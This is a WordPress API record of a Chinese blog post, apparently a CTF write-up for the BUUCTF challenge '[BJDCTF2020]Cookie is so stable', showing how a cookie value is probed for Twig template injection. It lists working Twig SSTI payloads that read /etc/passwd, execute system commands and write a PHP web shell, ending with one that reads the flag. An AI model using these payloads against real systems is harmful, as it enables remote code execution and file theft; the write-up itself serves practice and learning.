{"id":160,"date":"2026-05-19T22:12:16","date_gmt":"2026-05-19T14:12:16","guid":{"rendered":"https:\/\/asum1.fun\/?p=160"},"modified":"2026-05-19T22:12:17","modified_gmt":"2026-05-19T14:12:17","slug":"buuctf-bjdctf2020cookie-is-so-stable","status":"publish","type":"post","link":"https:\/\/asum1.fun\/index.php\/2026\/05\/19\/buuctf-bjdctf2020cookie-is-so-stable\/","title":{"rendered":"buuctf-[BJDCTF2020]Cookie is so stable"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u70b9\u5f00flag\uff0c\u8f93\u5165\u4e00\u4e2a123\u53d1\u73b0\u6709hello 123\uff0c\u8fd9\u79cd\u8f93\u5165\u4ec0\u4e48\u5c31\u8f93\u51fa\u4ec0\u4e48\u7684\u5730\u65b9\u5f80\u5f80\u662fssti\u6ce8\u5165\u7684\u70b9<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-31-1024x559.png'><img class=\"lazyload lazyload-style-5\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" data-original=\"https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-31-1024x559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-167\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-32-1024x559.png'><img class=\"lazyload lazyload-style-5\" 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href='https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-33-1024x559.png'><img class=\"lazyload lazyload-style-5\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" data-original=\"https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-33-1024x559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-169\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6253\u5f00hackbar\uff0c\u53d1\u73b0Cookie\u91cc\u9762\u6709\u4e00\u4e2auser=123\uff0c\u6211\u4eec\u6d4b\u8bd5\u4e00\u624b{{7*7}}<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-34-1024x559.png'><img class=\"lazyload lazyload-style-5\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" data-original=\"https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-34-1024x559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-170\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b97\u51fa\u6765\u4e8649\uff0c\u63a8\u65ad\u662fphp\u7684Twig\u6a21\u677f\u6216\u8005python\u7684jinjia2\u6a21\u677f\uff0c\u63a5\u7740\u7528{{7*&#8217;7&#8242;}}\u6765\u6d4b\u8bd5<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-35-1024x559.png'><img class=\"lazyload lazyload-style-5\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" data-original=\"https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-35-1024x559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-171\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd8\u662f49\uff0c\u9501\u5b9aTwig\uff0c\u56e0\u4e3a\u5982\u679c\u662fjinjia2\u4f1a\u8f93\u51fa7777777\uff0c\u6211\u4eec\u76f4\u63a5\u5b66\u4e00\u624b<a href=\"https:\/\/www.freebuf.com\/articles\/web\/314028.html\">Twig\u6a21\u677f\u6ce8\u5165<\/a>\uff08\u6ca1\u60f3\u5230\u662f\u4ee5\u8fd9\u9053\u9898\u4e3a\u4f8b\u5b50\u7684\uff09\uff0c\u8fd9\u91cc\u8d34\u4e00\u4e9b\u5e38\u7528\u7684Twig\u6ce8\u5165\u8bed\u53e5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{{'\/etc\/passwd'|file_excerpt(1,30)}}\n{{app.request.files.get(1).__construct('\/etc\/passwd','')}}{{app.request.files.get(1).openFile.fread(99)}}\n{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"whoami\")}}\n{{_self.env.enableDebug()}}{{_self.env.isDebug()}}\n{{&#91;\"id\"]|map(\"system\")|join(\",\")}}\n{{{\"&lt;?php phpinfo();\":\"\/var\/www\/html\/shell.php\"}|map(\"file_put_contents\")}}\n{{&#91;\"id\",0]|sort(\"system\")|join(\",\")}}\n{{&#91;\"id\"]|filter(\"system\")|join(\",\")}}\n{{&#91;0,0]|reduce(\"system\",\"id\")|join(\",\")}}\n{{&#91;'cat \/etc\/passwd']|filter('system')}}\n{{&#91;\"whoami\"]|map(\"system\")}}\n{{&#91;\"whoami\"]|map(\"passthru\")}}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6784\u9020payload\uff1a<code>{{_self.env.registerUndefinedFilterCallback(\"exec\")}} {{_self.env.getFilter(\"cat \/flag\")}}<\/code><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-36-1024x559.png'><img class=\"lazyload lazyload-style-5\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"559\" data-original=\"https:\/\/asum1.fun\/wp-content\/uploads\/2026\/05\/image-36-1024x559.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-172\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\u70b9\u5f00flag\uff0c\u8f93\u5165\u4e00\u4e2a123\u53d1\u73b0\u6709hello 123\uff0c\u8fd9\u79cd\u8f93\u5165\u4ec0\u4e48\u5c31\u8f93\u51fa\u4ec0\u4e48\u7684\u5730\u65b9\u5f80\u5f80\u662fssti\u6ce8\u5165\u7684\u70b9 \u6839\u636e [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":180,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-160","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/comments?post=160"}],"version-history":[{"count":2,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/160\/revisions"}],"predecessor-version":[{"id":173,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/160\/revisions\/173"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/media\/180"}],"wp:attachment":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/media?parent=160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/categories?post=160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/tags?post=160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}